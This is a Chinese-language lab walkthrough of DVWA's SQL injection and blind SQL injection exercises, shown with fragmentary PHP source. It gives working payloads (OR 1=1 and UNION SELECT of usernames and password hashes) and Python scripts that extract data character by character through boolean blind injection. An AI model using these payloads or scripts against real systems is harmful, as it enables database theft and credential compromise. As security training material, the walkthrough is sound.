if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"];
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo"Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } }
?>
因为是 low 难度,所以我们可以看到,源代码并没有对 SQL 注入做任何的防护。
我们先正常提交一下 id = 1 来看一下查询的结果:
1 2 3
ID: 1 First name: admin Surname: admin
一切正常,我们把提交的 id 的值从 1 换成 1' OR '1'='1,查询的结果就变成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ID: 1' OR '1'='1 First name: admin Surname: admin ID: 1' OR '1'='1 First name: Gordon Surname: Brown ID: 1' OR '1'='1 First name: Hack Surname: Me ID: 1' OR '1'='1 First name: Pablo Surname: Picasso ID: 1' OR '1'='1 First name: Bob Surname: Smith
因为任何表达式 OR '1' = '1' 都恒为 true,所以就一下把表里所有的数据都抛了出来。
到这一步,我们基本可证明存在 SQL 注入漏洞了,接下来就是如何利用了。
这里我们尝试获取用户名和密码哈希,构造的 payload 为 0' UNION SELECT user, password FROM users--+,提交以后发现报错,说是语法错误,我们去抓一下包,提交的请求如下:
ID: 0' UNION SELECT user, password FROM users-- First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: 0' UNION SELECT user, password FROM users-- First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 ID: 0' UNION SELECT user, password FROM users-- First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ID: 0' UNION SELECT user, password FROM users-- First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: 0' UNION SELECT user, password FROM users-- First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
其实关于那个 + 的疑问我也是用正确的结果(把 payload 放到 URL 里构造)反推出来的,因为我发现这个 ID 的值并没有 +,我以为是被注释掉了,后来才知道是被转译成了空格。
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global$sqlite_db_connection;
if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"];
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo"Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } }
// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) ordie( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];
<p> User ID: <selectname="id"><optionvalue="1">1</option><optionvalue="2">2</option><optionvalue="3">3</option><optionvalue="4">4</option><optionvalue="5">5</option></select> <inputtype="submit"name="Submit"value="Submit"> </p>
因为在 URL 里直接传入 id 没什么效果,用浏览器抓包看结果发现这里是发送了一个 POST 请求,那就不奇怪了(先不急着直接抓包改请求),所以这里我们直接把 option value 的值改成 0' OR '1'='1' 试一下,得到了如下报错:
1
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' OR \'1\'=\'1\'' at line 1 in
这个报错给了我们两个信息,一个是后端没有对前端传入的 option value 的值进行过滤,也就是说我们在前端修改的值直接传入了后端,还有一个就是我们传入的 payload 被改成了 \' OR \'1\'=\'1\',稍加分析我们就可以发现所有的 ' 都变成了 \' 也就是说 ' 前面都被加了一个 \ 进行转义,这应该就是 mysqli_real_escape_string() 函数在这里的作用了。
然后我们又去看了一下源码,发现拼接的地方也不太一样:
1
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
没错,拼接的地方没有 '' 了,也就是说,我们直接把 payload 改成 0 OR 1=1 就行了,试了一下,返回为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ID: 0 OR 1=1 First name: admin Surname: admin ID: 0 OR 1=1 First name: Gordon Surname: Brown ID: 0 OR 1=1 First name: Hack Surname: Me ID: 0 OR 1=1 First name: Pablo Surname: Picasso ID: 0 OR 1=1 First name: Bob Surname: Smith
if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"];
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo"Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } }
?>
我们发现 high 难度的前端又不一样了,我们点击之后发现弹出了一个额外的窗口,我们随便试一个 payload 1' OR '1'='1:
1 2 3
ID: 1' OR '1'='1 First name: admin Surname: admin
发现只返回了一个,然后我们又随便试了一个 payload 0' UNION SELECT user, password FROM users-- :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ID: 0' UNION SELECT user, password FROM users-- First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: 0' UNION SELECT user, password FROM users-- First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 ID: 0' UNION SELECT user, password FROM users-- First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ID: 0' UNION SELECT user, password FROM users-- First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: 0' UNION SELECT user, password FROM users-- First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
// Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch();
// Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ];
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global$sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time.
if ($exists) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; }
}
?>
我们先提交一个正常点的数字,比如 1 试一下:
1
User ID exists in the database.
说是用户 ID 存在,但是没有其他详细的信息了,这就是盲注跟常规的注入不同的地方,我们得不到详细的返回信息。
for i inrange(1, max_length + 1): found = False for char in charset: payload = f"1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1)='{char}' -- " params = {'id': payload, 'Submit': 'Submit'}
r = requests.get(url, params=params, cookies=cookies)
if"User ID exists in the database"in r.text: extracted += char print(f"[+] Found char {i}: {char}") found = True break
if ($exists) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; } }
?>
跟不是盲注的 medium 差不多,都是改成了一个表格,我们先提交一下,然后从开发者工具里抓包看到了是用的 POST 方法。
那我们就先把刚才的爆破程序直接改一下,用 POST 试一下,结果是啥也没爆破出来,说明直接这么改是行不通的。
然后我就从通过修改前端数据进行请求,试了几个 payload,发现 1' AND 0=1 -- 这个 payload 会报错:Warning: Undefined array key "id",去掉 -- 就正常,但是把 payload 改成 1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a' 还会报一样的错,这说明不完全是注释符的问题。
for i inrange(1, max_length + 1): found = False for char in charset: payload = f"1 AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1))={ord(char)}" data = {'id': payload, 'Submit': 'Submit'} # POST 请求用 data,GET 请求用 params
r = requests.post(url, cookies=cookies, data=data)
if"User ID exists in the database"in r.text: extracted += char print(f"[+] Found char {i}: {char}") found = True break
if ($exists) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); }
// User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; } }
?>
还是跟前面的 high 一样,弹出了一个窗口,我们先试一下这个 1' AND '1'='1,正常返回了 User ID exists in the database. ,我们再试一下 1' AND '1'='0,返回了 User ID is MISSING from the database.,说明存在盲注点。
接下来我们试一下 1‘ AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a,发现 User ID is MISSING from the database. 了,我们去爆破一下试试,这是修改后的代码:
for i inrange(1, max_length + 1): found = False for char in charset: payload = f"1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1)='{char}" data = {'id': payload, 'Submit': 'Submit'}
r = requests.post(url, cookies=cookies, data=data)
if"User ID exists in the database"in r.text: extracted += char print(f"[+] Found char {i}: {char}") found = True break
// Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
$exists = $data->rowCount(); break; case SQLITE: global$sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time.
// Get results if ($exists) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; } }